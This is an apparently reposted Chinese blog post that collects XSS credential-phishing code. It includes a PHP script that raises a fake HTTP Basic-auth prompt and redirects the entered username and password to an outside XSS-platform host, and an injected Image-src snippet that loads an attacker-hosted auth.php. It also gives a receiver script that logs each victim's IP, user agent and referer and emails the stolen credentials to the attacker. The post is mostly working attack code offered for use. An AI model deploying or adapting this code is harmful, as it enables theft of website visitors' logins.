xss基础认证钓鱼代码收集

0x01

下面这个只是一个简单的要求输入用户-密码的弹框

 
error_reporting(0);
/* 检查变量 $PHP_AUTH_USER 和$PHP_AUTH_PW 的值*/
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
/* 空值:发送产生显示文本框的数据头部*/
header('WWW-Authenticate: Basic realm="'.addslashes(trim($_GET['info'])).'"');
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
/* 变量值存在,检查其是否正确 */
header("Location: http://lennyxss.sinaapp.com/index.php?do=api&id={$_GET[id]}&username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
}
?>

0x02

之前一直在想怎么引入自己写的php文件,又不能上传到受害者的服务器上,结果没想到可以使用图片的src属性引入,那就很好办了,就是插入这么一段恶意代码:

x=new Image(); 
x.src="http://mysite.com/auth.php"; 

这里的auth.php就是我们伪造的恶意文件,这个文件的功能就是实现弹框
xss基础认证钓鱼代码收集_第1张图片
auth.php代码如下:


if($_SERVER['PHP_AUTH_PW'] =="" || $_SERVER['PHP_AUTH_USER'] =="" ) 
{ 
header('WWW-Authenticate: Basic realm="Basic Auth"'); 
header('HTTP/1.0 401 Unauthorized'); 
} 
else{ 
$user = $_SERVER['PHP_AUTH_USER']; 
$pass = $_SERVER['PHP_AUTH_PW']; 
$fish = "username:".$user."  password:".$pass; 
header("location:http://mysite.com/x.php?c=$fish"); 
} 
?> 

这段代码中的header()函数就是实现一个重定向功能,并以get方式带上我们钓到的用户名以及密码,重定向的目标地址就是我们接下来要介绍的接收端,接收端代码如下:

 
$ip = $_SERVER['REMOTE_ADDR']; 
$referer = $_SERVER['HTTP_REFERER']; 
$agent = $_SERVER['HTTP_USER_AGENT'];  
$data = $_GET[c]; 
$time = date("Y-m-d G:i:s A"); 
$text = "

"
.$time." = ".$ip."

User Agent: "
.$agent."
Referer: "
.$referer."
Session: "
.$data."


"
; require("class.phpmailer.php"); $mail = new PHPMailer(); $mail->CharSet = "UTF-8"; $address ="[email protected]";//接收邮箱地址 $mail->IsSMTP(); // 使用SMTP方式发送 $mail->Host = "smtp.163.com"; // 您的邮箱域名 $mail->SMTPAuth = true; // 启用SMTP验证功能 $mail->Username = "[email protected]"; // 邮局用户名(请填写完整的email地址) $mail->Password = "mailpwd"; // 邮局密码 $mail->Port=25; $mail->From = "[email protected]"; //邮件发送者email地址 $mail->FromName = "Bemo-XSS success!"; $mail->AddAddress("$address", "a"); $mail->IsHTML(true); //是否使用HTML格式 $mail->Subject = "Bemo-XSS success!"; //邮件标题 $mail->Body = $text; //邮件内容,上面设置HTML,则可以是HTML if(!$mail->Send()) { echo "邮件发送失败.

"; echo "错误原因: " . $mail->ErrorInfo; exit; } ?>

上面的代码就是把我们接收到的数据直接发送到攻击者的邮箱(邮箱自行修改)

你可能感兴趣的:(Web安全)